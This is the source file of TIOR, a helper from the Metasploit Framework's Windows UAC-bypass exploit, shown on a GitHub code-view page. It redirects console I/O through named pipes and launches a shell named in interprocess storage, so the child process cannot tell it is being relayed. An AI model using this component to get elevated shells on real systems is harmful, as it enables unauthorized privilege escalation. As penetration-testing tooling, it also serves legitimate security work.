rapid7/metasploit-framework

View on GitHub
external/source/exploits/bypassuac/TIOR/TIOR.cpp

Summary

Maintainability
Test Coverage
#include "stdafx.h"

#include <windows.h>

#include ".\..\Redirector.h"
#include ".\..\CMMN.h"

//
//    By Pavels
//
//    This application is used for redirection data from the console to the pipes, 
//    not useng pipes at the other side.
//    It is caused by some differences when using some other proceses which
//    also redirect data. Main reason is differences in ReadConsole and ReadFile
//    methods.
//    Using this redirector app, child process will never know that his parent redirects it's IO.
//
//    Everything is asynchronous. 3 Threads.
//

int _tmain(int argc, _TCHAR* argv[])
{

    TRedirectorPair in = {0};
    in.Source = CreateFile( STDIn_PIPE, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING, 0, 0);
    //in.KeepAlive = true;
    in.Name.assign(TEXT("TIOR: [in]"));
    if ( INVALID_HANDLE_VALUE != in.Source )
    {
        in.Destination = GetStdHandle( STD_INPUT_HANDLE );
        in.DestinationConsole = true;
        if (  INVALID_HANDLE_VALUE != in.Destination )
            in.Thread  = CreateThread( NULL , 0, Redirector, (LPVOID)&in, 0, NULL);
    }

    TRedirectorPair out = {0};
    out.Destination = CreateFile( STDOut_PIPE, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING, 0, 0);
    out.KeepAlive = true;
    out.Name.assign(TEXT("TIOR: [out]"));
    if ( INVALID_HANDLE_VALUE != out.Destination )
    {
        SECURITY_ATTRIBUTES sa;
        sa.nLength= sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;

        HANDLE tmp; 
        CreatePipe(&out.Source,&tmp,&sa,0);
        SetStdHandle( STD_OUTPUT_HANDLE, tmp );
        out.Thread  = CreateThread( NULL , 0, Redirector, (LPVOID)&out, 0, NULL);
    }

    TRedirectorPair err = {0};
    err.Destination = CreateFile( STDErr_PIPE, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING, 0, 0);
    err.KeepAlive = true;
    err.Name.assign(TEXT("TIOR: [err]"));
    if ( INVALID_HANDLE_VALUE != err.Destination )
    {
        SECURITY_ATTRIBUTES sa;
        sa.nLength= sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;

        HANDLE tmp; 
        CreatePipe(&err.Source,&tmp,&sa,0);
        SetStdHandle( STD_ERROR_HANDLE, tmp );
        err.Thread  = CreateThread( NULL , 0, Redirector, (LPVOID)&err, 0, NULL);
    }

    ///////////////////////////////////////////////////////////////////////////////////

    //
    //    Obtainig information about process to start and redirect
    //

    std::wstring shell, args, dir;
    CInterprocessStorage::GetString( TEXT("w7e_TIORShell"), shell );
    CInterprocessStorage::GetString( TEXT("w7e_TIORArgs"), args );
    CInterprocessStorage::GetString( TEXT("w7e_TIORDir"), dir );


    STARTUPINFO si = {0};si.cb = sizeof(si);
    PROCESS_INFORMATION pi = {0};

    BOOL created = CreateProcess( 
        shell.c_str(), 
        const_cast<TCHAR *>(args.c_str()), 
        NULL, 
        NULL, 
        TRUE, 
        0, 
        NULL, 
        dir.c_str(), 
        &si, 
        &pi );

    if ( ! created )
    {

        return EXIT_FAILURE;
    }
    else
    {
        CloseHandle( pi.hThread );
    }

    HANDLE waiters[4] = {pi.hProcess, in.Thread, out.Thread, err.Thread} ;
    //
    //    Waiting for eny handle to be freed. 
    //    Either some IO thread will die or process will be oevered.
    //
    WaitForMultipleObjects( 4, waiters, FALSE, INFINITE );

    //
    //    Even if process was overed, we need to be sure that we readed all data from the redirected pipe.
    //    Thats why we wait again for some period of time reading died process's output untill the end.
    //
    WaitForMultipleObjects( 3, waiters + 1, FALSE, 1000 );

    //
    //    Dont forget to close child process. We need to be sure, if user terminated app which
    //    reads our redirected data, we terminate the target child app.
    //
    TerminateProcess( pi.hProcess, EXIT_FAILURE );
    CloseHandle( pi.hProcess );


    //
    //    I will not close any handles here - system will terminate and close all by it self.
    //

    return EXIT_SUCCESS;
}